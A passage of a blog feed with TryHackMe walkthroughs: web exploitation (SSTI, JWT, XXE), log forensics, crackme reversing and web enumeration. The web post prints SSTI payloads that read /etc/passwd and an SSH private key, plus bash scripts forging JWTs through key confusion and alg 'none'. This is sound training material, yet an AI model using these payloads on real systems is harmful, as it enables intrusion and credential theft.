            <guid isPermaLink="false">https://medium.com/p/52c3ffcd4ce9</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Wed, 08 Sep 2021 03:43:54 GMT</pubDate>
            <atom:updated>2021-09-08T03:55:24.973Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/zthobscurewebvulns">ZTH: Obscure Web vuls</a> is a learning room on <a href="https://tryhackme.com/">TryHackMe</a> created by <a href="https://tryhackme.com/p/Paradox">Paradox</a>. This room allows you to learn and practice exploiting a range of unique web vulnerabilities such as SSTI, CSRF, JWT and XXE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ef-mvHHrK7RDeacoX0B8Q.png" /></figure><h3>Task 1 : Covers the intro and tells us that we will be learning SSTI, CSRF, JWT and XXE.</h3><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 2: Provides an overview on how the room is divided up and the format on how questions and challenges will be presented.</h3><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 3: Discusses Server Side Templates and what Server Side Template Injection SSTI is.</h3><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 4: Provides explores template injection a little further with some detailed examples.</h3><p>Q1: How would a hacker(you :) ) cat out /etc/passwd on the server(using cat with the rce payload)</p><blockquote>The answer below is provided as a guided example on the page.</blockquote><pre>{{config.__class__.__init__.__globals__[‘os’].popen(‘cat /etc/passwd’).read()}}</pre><p>Q2: What about reading in the contents of the user test&#39;s private ssh key.(use the read file one not the rce one)</p><blockquote>The answer below is provided as a guided example on the page.</blockquote><pre>{{ &#39;&#39;.__class__.__mro__[2].__subclasses__()[40](&#39;/home/test/.ssh/id_rsa&#39;).read() }}</pre><h3>Task 5: Automatic Exploitation of SSTI</h3><p>Q:1 How would I cat out /etc/passwd using tplmap on the ip:port combo 10.10.10.10:5000, with the vulnerable param “noot”.</p><pre>tplmap -u <a href="http://10.10.10.10:5000/">http://10.10.10.10:5000/</a> -d &#39;noot&#39; --os-cmd &quot;cat /etc/passwd&quot;</pre><h3>Task 6: SSTI Challenge</h3><p>For this challenge you will need to start the Vulnerable Machine and using SSTI obtain the /flag file on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iB8SLSYoa-_c8kUVxpwk4Q.png" /></figure><p>We can use a modified version of Task 4 to obtain the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tDR0gbRqGOn8NANZkoAQrQ.png" /></figure><pre>{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(&#39;cat /flag&#39;).read()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmavtEPNm6jiVlJoMAvCvQ.png" /><figcaption>Flag via Firefox</figcaption></figure><blockquote>Additionally this same command can be run from curl via the command line.</blockquote><pre>curl -X POST -F “name={{config.__class__.__init__.__globals__[‘os’].popen(‘cat /flag’).read()}}” <a href="http://10.10.198.181/">http://10.10.198.181/</a></pre><pre>-X = Request<br>-F = Form reques</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lp2LcDkt7I91t1ZIJoJzvQ.png" /><figcaption>Flag via curl</figcaption></figure><blockquote>Go ahead and terminate your machine and startup the machine in Task 14 so it is ready for you to go when we get there.</blockquote><h3>Task 7: What is CSRF</h3><p>This section will walk us through a quick understanding or Cross Site Request Forgery.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 8: Manual exploitation of CSRF</h3><p>Very good explanation of CSRF and how it looks through a proxy like Burp.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 9: Automatic Explotation</h3><p>Discusses automatic tools like XSSRFProbe and how to install and use it.</p><p>Q: What parameter allows us to generate a POC(actual exploit)?</p><pre>--malicious</pre><h3>Task 10: CSRF Challenge</h3><p>Due to the nature of CSRF, I can’t really give you a challenge to complete with a flag. So I’ll give you one without a flag! Your challenge is to make a website vulnerable to CSRF, and exploit it</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 11: Java Web Token JWT introduction</h3><p>This section covers what Java Web Tokens are and how they are constructed.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 12: Manual JWT Exploitation</h3><p>This section covers the basics of exploiting Java Web Tokens. Pay attention here, we may need to refer back to this section in a bit.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 13: Automatic JWT exploitation</h3><p>There really isn’t a one stop shop for automatic JWTs and need to be looked at on a case by case basis.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 14: JWT Challenge</h3><p>For this challenge you will need to start the vulerable machine and interact with a webpage to obtain a JWT token and exploit the token using the steps provided in the previous section.</p><blockquote>This question was really fun, however because the tokens expired in a few minutes I decided to just write up a dirty bash script to make the submission.</blockquote><blockquote>After updating the IP to the IP of the JWT webserver you can save and perform a chmod +x exploit.sh then you should just be able to run ./exploit.sh and it will execute.</blockquote><pre>#!/bin/bash</pre><pre># Update the IP to the IP of the vulnerable machine</pre><pre>ip=10.10.10.10<br>echo &quot;&quot;<br>echo &quot;TryHackMe ZTH: Obscure Web Vulns JWT Challenge&quot;<br>echo &quot;&quot;</pre><pre>echo &quot;[+] downloading public key &quot;<br>if [ -f public.pem ] ;then<br> echo &quot;[i] Removing old Public Key&quot;<br> rm public.pem<br>fi<br>wget --quiet <a href="http://$ip/public.pem">http://$ip/public.pem</a> &amp;1&gt;/dev/null</pre><pre>echo &quot;[+] Obtaining JWT file from <a href="http://$ip/">http://$ip</a>&quot;<br>curl -s <a href="http://$ip/">http://$ip</a> | grep -o ey.* &gt;jwt</pre><pre>part1=$(cat jwt | cut -f1 -d&quot;.&quot;)<br>part2=$(cat jwt | cut -f2 -d&quot;.&quot;)<br>part3=$(cat jwt | cut -f3 -d&quot;.&quot;)</pre><pre>echo &quot;[+] Changing Header from RS256 to HS256&quot;</pre><pre>newpart1=$(echo $part1 | base64 -d | sed &#39;s/RS256/HS256/g&#39; | base64)</pre><pre>echo &quot;[+] Converting public key to hex&quot;</pre><pre>cat public.pem | xxd -p | tr -d &quot;\\n&quot; &gt;public.xxd<br>publicxxd=$(cat public.xxd)</pre><pre>echo &quot;[+] Signing the JWT with the valid HS256 key&quot;</pre><pre>key=$(echo -n $newpart1.$part2 | openssl dgst -sha256 -mac HMAC -macopt hexkey:`cat public.xxd`| tr -d &quot; &quot; | cut -f2 -d &quot;=&quot;)</pre><pre>echo &quot;[+] Decode the hex to binary and reencoded the data&quot; </pre><pre>secret=$(python2 -c &quot;exec(\&quot;import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex(&#39;&quot;$key&quot;&#39;)).replace(&#39;=&#39;,&#39;&#39;)\&quot;)&quot;)</pre><pre>echo &quot;&quot;<br>echo &quot;---Manual Submission--&quot;<br>echo $newpart1.$part2.$secret<br>echo &quot;----------------------&quot;<br>echo &quot;&quot;<br>final=$newpart1.$part2.$secret</pre><pre>echo &quot;[+] Attempting submission via curl&quot;</pre><pre>curl -s -X POST -F &quot;jwt=$final&quot; <a href="http://$ip/rs256.php">http://$ip/rs256.php</a> | sed &#39;s/&lt;.*&gt;//g&#39;</pre><pre># The sed &#39;s/&lt;.*&gt;//g&#39; at the last part of the curl command is to pull out all the HTML tags and display text.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*7GAZgCEd0Fo8f77Fd30npg.png" /></figure><h3>Task 15: JWT Intro</h3><p>Discusses other vulnerabilities with JWT libraries and how important it is for developers to read the RFC or RTFM.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 16: Manual JWT exploitation</h3><p>Shows a manual walkthrough of exploiting JWT by setting the algorithm to NONE…</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 17: Automatic JWT exploitation</h3><p>There really isn’t any tool that can perform automatic exploitation of JWT tokens. This is a manual and inspect as you go type situation.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 18: JWT Challenge</h3><p>Startup the machine and find the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AF4oFtbr_byA5V4RtRfdJQ.png" /></figure><blockquote>The first attempt with asdf:asdf didn’t do anything… but after that we were provided with the credentials of a normal user.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AdYIL7w6yOGZaZwSko72XA.png" /></figure><blockquote>Opening up the developer tools either by pressing SHIFT-F9 to open the storage inspector or by clicking on the “hamburger menu” in the upper right of firefox and selecting “webdeveloper-&gt; storage Inspector” you will be able to inspect the JWT cookie.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fm0yIEX4gsTkkmTvCEHRpQ.png" /></figure><blockquote>Double clicking in the cookie value area you can copy the actual cookie which is listed below.</blockquote><pre>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNjMxMDY4NTU1MDI5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IFVidW50dTsgTGludXggeDg2XzY0OyBydjo4MC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzgwLjAiLCJyb2xlIjoidXNlciIsImlhdCI6MTYzMTA2ODU1NX0.gIIIBXfJRO9Ci86iP28FF-hWMszl5Ee6-ibJjzSoHCE</pre><blockquote>The previous couple of tasks identified how to manipulate this cookie and modify it to become an admin on the site.</blockquote><blockquote>A little bash script below will take the above JWT cookie and remove the HS256 requirement and set it to non and then make the user an admin.</blockquote><pre>#!/bin/bash</pre><pre>if [ $# -eq 0 ] ; then<br> echo &quot;USAGE: $0 JavaWebToken&quot;<br> exit<br>fi<br>jwt=$1<br>part1=$(echo -n $jwt | cut -f1 -d&#39;.&#39; | base64 -di | sed &#39;s/HS256/none/g&#39;| base64)<br>part2=$(echo -n $jwt | cut -f2 -d&#39;.&#39; | base64 -di | sed &#39;s/user/admin/g&#39; | base64)<br>echo &quot;&quot;<br>echo $part1.$part2. | tr -d &#39; =&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q60bRwORGxyLq31IMqG-6Q.png" /></figure><blockquote>By selecting the new modified cookie and pasting it into the firefox cookie jar where we originally obtained it and refresh the website…</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ObdnpWh9V7PM9MGwNQVwrQ.png" /></figure><h3>Task 19: XXE Intro</h3><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 20: Manual exploitation of XXE</h3><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 21: Automatic exploitation of XXE</h3><p>This is very difficult to have a one size fits all auto XXE solution.</p><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 22: XXE Challenge</h3><p>Q: How many users are on the system?</p><blockquote>Lets give it a go! …and refer to Task 20 if you have any questions.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IP5ELR8vzQpXQfizH4EZwA.png" /></figure><blockquote>Regardless of what I put in the form it gives the same error…</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jH8U8vPrbN4GDvcJ97SAqQ.png" /></figure><p>Lets fire up burp and intercept the traffic being submitted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAMTZ1AHDG2965mCPMsG7w.png" /></figure><blockquote>Some XML, this is consistent with challenge. Lets try and manipulate it.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPWfVFbGXbHgCK2GQ2x6Dg.png" /></figure><p>By placing the XXE file:///etc/passwd we can now see the passwd file in the right hand pane of burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RJYd34GeGreJDl6VCG-ohg.png" /></figure><p>By counting the number or users listed in /etc/passwd we can answer how many users are on the system.</p><p>Q: How many users are on the system?</p><blockquote>A: 31</blockquote><p>Q: What is the name of the user with a UID of 1000?</p><blockquote>A: para</blockquote><h3>Task 23: JWT once again</h3><blockquote>Click “Question Done” to proceed</blockquote><h3><strong>Task 24: Bruteforcing JWT tokens</strong></h3><blockquote>Click “Question Done” to proceed</blockquote><h3>Task 25: Challenge Bruteforcing JWT tokens</h3><p>Q: Given the following token<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE</p><p>What is the secret?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nd_onU92nyPSs_hWVu07_g.png" /></figure><p>For this challenge I had to run my own Kali instance, as the TryHackMe attack box would not install npm or jwt-cracker.</p><p>Regardless …once jwt-cracker was installed it cracked the token in a few seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*dIwLLIzkLzWUuf-QMleARQ.png" /></figure><p>Thank you <a href="https://tryhackme.com/p/Paradox">Paradox</a> for such a informative and fun room to learn web exploits!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52c3ffcd4ce9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Juicy Details]]></title>
            <link>https://octothorp88.medium.com/tryhackme-juicy-details-819b7707c5a7?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/819b7707c5a7</guid>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Tue, 22 Jun 2021 02:56:32 GMT</pubDate>
            <atom:updated>2021-06-22T02:56:32.202Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SnBS5CAf5Q0O6LYSdoDlIQ.png" /><figcaption>Juicy Details on TryHackMe</figcaption></figure><p>This challenge is listed as a free room on <a href="https://tryhackme.com/">TryHackMe</a> created by <a href="https://tryhackme.com/p/GEEZET1">GEEZET1</a>.</p><p>The backstory tells us we were hired as a SOC Analyst for one of the biggest Juice Shops in the world and an attacker has made their way into your network. We need to investigate and find out what happened.</p><p>The first task is to download the task files and take a look at them..</p><p>The room tells us an IT team has sent you a <strong>zip file</strong> containing logs from the server. Download the attached file, type in “I am ready!” and get to work! There’s no time to lose!</p><p><strong>Q1: Are you ready</strong></p><blockquote>A1: I am ready!</blockquote><p><strong>Q2: What tools did the attacker use? (Order by the occurrence in the log)</strong></p><blockquote>A2: Provided below</blockquote><blockquote>The first thing we needed to do is to unzip the logs.zip file to see what we have to work with.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TLHf1xn2pV4hwg_9eIwNug.png" /><figcaption>unzip logs.zip</figcaption></figure><blockquote>Since we are looking for the tools the attacker used for reconnaissance it would make sense to look at the access.log first.</blockquote><blockquote>This looks like a standard Apache access.log, and right off the bat I can see the first tool as indicated in the screenshot above. Since we are looking at an Apache / webserver access.log the majority of the tools will be declaring a specific useragent string we can parse of out of the log.</blockquote><blockquote>We can parse out the useragent string using the cut command.</blockquote><blockquote>cat access.log | cut -d&#39;&quot;&#39; -f6 | uniq</blockquote><blockquote>The above command will print out the access.log using cat and then pipe | it to cut. We will use &quot; as the delimiter using the -d&#39;&quot;&#39; and place it in &#39; single quotes because we are working in the shell and random quotes can be problematic if the are not escaped or enclosed in an additional set of quotes. Next we will tell cut to parse out the 6th field using the -f6 switch, this will show us only the user-agent string. Finally we will | pipe the command to uniq that will filter out consecutive duplicate user-agent strings.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQmycPieYyJ6AKGSlvyR6Q.png" /><figcaption>output</figcaption></figure><p><strong>Q3: What endpoint was vulnerable to a brute-force attack?</strong></p><p>Well, if we are looking for a URL / Endpoint that was brute forced the logs would show that it would have been accessed a lot of times. We can use some command line magic using cut, sort and uniq to find the vulnerable endpoint.</p><p>cat access.log | cut -d&#39;&quot;&#39; -f2 | sort | uniq -c | sort -n | tail -n 10</p><p>The above will print out access.log using cat and then | pipe it to cut using the &quot; double quotes as the delimiter and print out only field number 2 using -f2 (field 2 is the GET/POST requests). We will then pipe | the output to sort and then use uniq -c to only print out the unique entries and use -c to print out the number of occurrences of each GET/POST requests in the log. The sort -n performs a numerical sort on the output and finally we use tail -n 10 to print out the last 10 lines of the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yboT4hGrXjhCmDoe_ejQ5g.png" /><figcaption>Brute forced URL</figcaption></figure><p><strong>Q4: What endpoint was vulnerable to SQL injection?</strong></p><blockquote>A4: Provided below</blockquote><blockquote>Well we know from the previous questions and the user-agent in the logs the attacker is using sqlmap for their SQL injection attack tool.</blockquote><blockquote>First we use cat to print out the access log, then we use grep sqlmap to show only the GET requests with a user-agent string containing sqlmap. Next we grep 200 to grab only entries that have a response code of 200. Next we use cut -d&#39;&quot;&#39; -f2&#39; to use &quot; as the delimiter and print the 2nd field. finally we use a “<em>sort sandwich</em>” sort | uniq | sort and then just show the last 10 entries using tail -n10.</blockquote><pre>cat access.log  | grep sqlmap | grep 200 | cut -d&#39;&quot;&#39; -f2 | sort | uniq | sort | tail -n 10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVk12FqYTfN5qtL2zH1sCg.png" /></figure><p>Q5:What parameter was used for the SQL injection?</p><blockquote>A: We actually already found that from the previous command.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QIzgspVfkdO9xCZZvPtB7g.png" /></figure><p>Q6: What endpoint did the attacker try to use to retrieve files? (Include the /)</p><blockquote>A6: Provided below</blockquote><blockquote>For this I just took took a quick look at the access.log file and at the end of the file something popped out that fit with the scenario.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7e9As02UfdSAKqw3JNnspg.png" /></figure><p><strong>Q7: What section of the website did the attacker use to scrape user email addresses?</strong></p><blockquote>Here I just did a quick look through the log until I found something that popped out that would show an area that would contain user email addresses. I figured the attacker had moved on to either manual scraping or using another tool so I filtered out the noise of sqlmap and nmap with grep -Ev &#39;nmap|sqlmap.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VAmtsO3SMoo9I4PkbxJJoQ.png" /></figure><p>The answer can be inferred from <em>Products</em> and <em>Reviews</em>.</p><p><strong>Q8:Was their brute-force attack successful? If so, what is the timestamp of the successful login? (Yay/Nay, 11/Apr/2021:09:xx:xx +0000)</strong></p><p>A8: See below…</p><pre>cat access.log  | grep -i hydra | egrep -v &#39;401|501|500&#39;</pre><p>If we cat the access log and grep fro hydra and then use egrep -v &#39;401|501|500&#39; to exclude all of the 401, 501,500 error messages it should show the successes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDnRDfQ1KLyAIPgujX77pg.png" /><figcaption>Yay/Nay</figcaption></figure><p>Q9: What user information was the attacker able to retrieve from the endpoint vulnerable to SQL injection?</p><p>After some searching through the logs the answer showed up, but thinking back to the attack tools we know the attacker used curl to retrieve some information …maybe that’s the tool they used here ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMul22HRFsQq-Br0qYGCCw.png" /></figure><p>Q10: What files did they try to download from the vulnerable endpoint? (endpoint from the previous task, question #6)</p><p>I believe this is in reference to the question regarding retrieving files, if this is the case it was a ftp server so we need to look at the vsftpd.log file.</p><pre>cat vsftpd.log  | grep -i DOWNLOAD</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j0jWsUgonkqTPcEdm37dmg.png" /><figcaption>Files Downloaded</figcaption></figure><p>Q11:What service and account name were used to retrieve files from the previous question? (service, username)</p><blockquote>A11: ftp, anonymous</blockquote><p>By inspecting the vsftpd.log we can find all the users that logged into the site and see how they authenticated</p><pre>cat vsftpd.log | grep OK</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NfyW2YC56laW1z7gZoff_g.png" /><figcaption>vsftpd.log filtered with actual logins</figcaption></figure><p>We can see that all the logins contained withing the vsftpd.log file were all anonymous logins and the last anonymous login downloaded the files in question.</p><p>Q12: What service and username were used to gain shell access to the server? (service, username)</p><p>Shell access is going to be logged in the auth.log file so we should be able to filter out only successful attempts and go from there.</p><pre>cat auth.log  | grep Accept</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_08xcchaFOFaEBnrkwTlsQ.png" /></figure><p>By running the cat auth.log | grep Accept we will be able to see both the service and the username that logged into the server</p><p>Great room! Thank you to <a href="https://tryhackme.com/p/GEEZET1">GEEZET1</a> for a great room to sharpen up our log parsing skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*bYCQ3tWpO2pPKICxkZi0iA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=819b7707c5a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Reverse Engineering]]></title>
            <link>https://octothorp88.medium.com/tryhackme-reverse-engineering-1f651c42a4d1?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f651c42a4d1</guid>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Tue, 11 May 2021 01:59:03 GMT</pubDate>
            <atom:updated>2021-05-11T18:14:19.764Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/reverseengineering#">Reverse Engineering</a> is a <a href="https://tryhackme.com/">TryHackMe</a> room focusing o the basics of reverse engineering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9cOgl_k6ZSVLHtGN.png" /></figure><p><strong>Task 1 : Debugging and File permissions.</strong></p><p>Quick disclaimer: I am a very beginner at reverse engineering, and my experience with radare2 was completing <a href="https://tryhackme.com/room/adventofcyber2">AdventOfCyber2</a> task 22 and 23, so I’m just happy I completed the room ;)~</p><p>Per the discussion in <em>task 1 </em>we will be using <a href="https://github.com/radareorg/radare2">radare2</a> and the provided attack box. If you subscribe to TryHackMe you have access to an <a href="https://help.tryhackme.com/106142-my-machine/tryhackme-attack-machine">attack box</a> that can be accessed via your browser which is bridged to the internet and the internal TryHackMe network learning environment. For me this is well worth the subscription …I can do rooms from my iPad!</p><p>Ok… on with the room.</p><p>In the following tasks the room provides “Download Tasks Files” which need to be reversed engineered. For ease of use I download them all to my host OS and then secure copy them to the TryHackMe Attack Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L5XX4MNvhwbQHUNdFc2I9g.png" /><figcaption>Copying the crackme.bin files to my attack box</figcaption></figure><p>After copying all the files to my attack machine I need to ensure that they are executable so I can debug them in radare2.</p><pre>chmod +x crackme*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELBtWwWXdZgAMJD1C16ytQ.png" /></figure><p><strong>Task2: crackme1</strong></p><p>Q: What is the correct password?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*czhE-DZLAUUNChxCx09hvQ.png" /></figure><p>First I performed the following commands</p><p>radare2 -d crackme2.bin this puts radare2 in debug mode</p><p>aaa — analyzes all the flags and and functions within the program.</p><p>izz — Search for Strings in the whole binary</p><blockquote>radare2 has a very robust help system you can access by pressing ? and then return. If you want to learn about something start the command a? and then press enter and it will provide help.</blockquote><p><strong>Task3: crackme2</strong></p><p>What is the correct password?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MaBSH2YhsNvWPrWzefw0FQ.png" /></figure><p>First we perform the radare2 -d crackme.bin command to load the crackme2.bin binary in radare2 then type aaa to analyze the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wbyBHtyeYVAl2t1M_xkQ_A.png" /></figure><p>next performing afl to list all of the functions in the program we can see that main is listed.</p><p>We examine the main function by typing pdf @main and it will provide the following output that shows some interesting assembly, it looks as though it is comparing eax with 0x137c and then jumping if it is not equal, if it is equal it states the password is valid. The contents of eax look like the are read in from scanf so it seems that the password should be the equivalent of 0x137c I was going to put a breakpoint at the jne instruction but the answer is actually the decimal equivalent of 0x137c.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8M6Pf1q7PuwIwV2q74bLQ.png" /></figure><p>If we convert 0x137c using the linux binary calculator we get <strong>4988.</strong></p><pre>echo “obase=10; ibase=16; 137C” | bc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2KC-ia3iJXL4ullVj3-lA.png" /></figure><p><strong>Task4: crackme3</strong></p><p>Q: What are the first 3 letters of the correct password?</p><p>A: see steps below</p><p>Run through the following commands like we have run before…</p><p>radare2 -d ./crackme3.bin to have radare2 load the binary in debug mode</p><p>aaa to analyze everything</p><p>afl to list the functions … it just shows main and some other stuff.</p><p>pdf @main to view the main function… which is showed below and we can see that the entered password is having some shenanigans applied and then it is compared and a jump if equal is executed. Since I’m not the brightest one of the bunch we will just put a break point there and inspect it at run time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fuOPq6NDUIVJm6HJqnKLaA.png" /></figure><p>we can set a breakpoint with the db 0xaddressofbreakpoint command, in the following screenshot you can see that I have placed the breakpoint on the je jump if equal command and then performed a pdf @main so you can see the breakpoint denoted by the b next to the address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjZ1zMI-yrJdalIXkBmtlw.png" /></figure><p>We can resume execution with the dc command and we are prompted to input the password.</p><p>At the prompt I type <strong>not_the_correct_password</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lW2bJ5lI3XBxXA-5gJYhGg.png" /></figure><p>When we initially ran the pdf @main and radare2 showed the address of the local storage variables. By looking through the logic we are going to be inspecting local_28h. This can be accomplished by typing px @rbp-0x28</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vj2ZbLRXLOOJli0Dii6OSw.png" /></figure><p>Because of the “shenanigans” they must have added to the password and that can be seen when inspecting the local_28h variable shown below…those three letters will be your answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wjwy6pGhSx-qJ5jpROxSg.png" /></figure><p>Thank you to <a href="https://tryhackme.com/p/ashu">ashu</a> for such a great room, my RE is quite week, but rooms like <a href="https://tryhackme.com/room/reverseengineering">Reverse Engineering</a> allow me to get better one step at a time. #thankyou</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f651c42a4d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Web Enumeration]]></title>
            <link>https://octothorp88.medium.com/tryhackme-web-enumeration-d72c29941cff?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/d72c29941cff</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Mon, 19 Apr 2021 18:32:50 GMT</pubDate>
            <atom:updated>2021-04-19T18:37:46.406Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/webenumerationv2#">Web Enumeration Room</a> at <a href="https://tryhackme.com/">TryHackMe</a>— Learn the methodology of enumerating websites by using tools such as Gobuster, Nikto and WPScan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxJnTD0zFpoAD9zDyRvUAA.png" /></figure><p><strong>Task 1: Introduction</strong> — Gives you a brief introduction to the lab and getting connected</p><p><strong>Task 2: Manual Enumeration</strong> — Discusses basics of inspecting the content of the website</p><p><strong>Task 3: Introduction to Gobuster</strong></p><p><strong>Task 4: 1.1 Gobuster Modes</strong> — begins to cover the different modes and uses of gobuster</p><blockquote>Pay attention to the examples … You will need them later</blockquote><p>Task 5: 1.2 Useful Wordlists — shows you where the default wordlists on kali are and where to find/install new ones.</p><p><strong>Task 6: 1.3 Practical: Gobuster (Deploy #1)</strong></p><p>Deploy the machine and follow the instructions to modify your hosts file.</p><blockquote>Q: Run a directory scan on the host. Other than the standard css, images and js directories, what other directories are available?</blockquote><blockquote>gobuster dir -u <a href="http://webenum.thm/">http://webenum.thm</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y-wwwNDTG2h2JadgqsdPkQ.png" /><figcaption>gobuster 1</figcaption></figure><p>Q: Run a directory scan on the host. In the &quot;C******&quot; directory, what file extensions exist?</p><blockquote>gobuster dir -u <a href="http://webenum.thm/Changes/">http://webenum.thm/Changes/</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,conf,js,thm -t50</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPkYagX2FQpPslpuGShhsA.png" /></figure><p>Q: There’s a flag out there that can be found by directory scanning! Find it!</p><blockquote>gobuster dir -u <a href="http://webenum.thm/VIDEO/">http://webenum.thm/VIDEO/</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xWi-MZGBQCMSobdSHaCdEw.png" /><figcaption>gobuster extensions</figcaption></figure><p>Q: There are some virtual hosts running on this server. What are they?</p><blockquote>gobuster vhost -u <a href="http://webenum.thm/">http://webenum.thm</a> -w 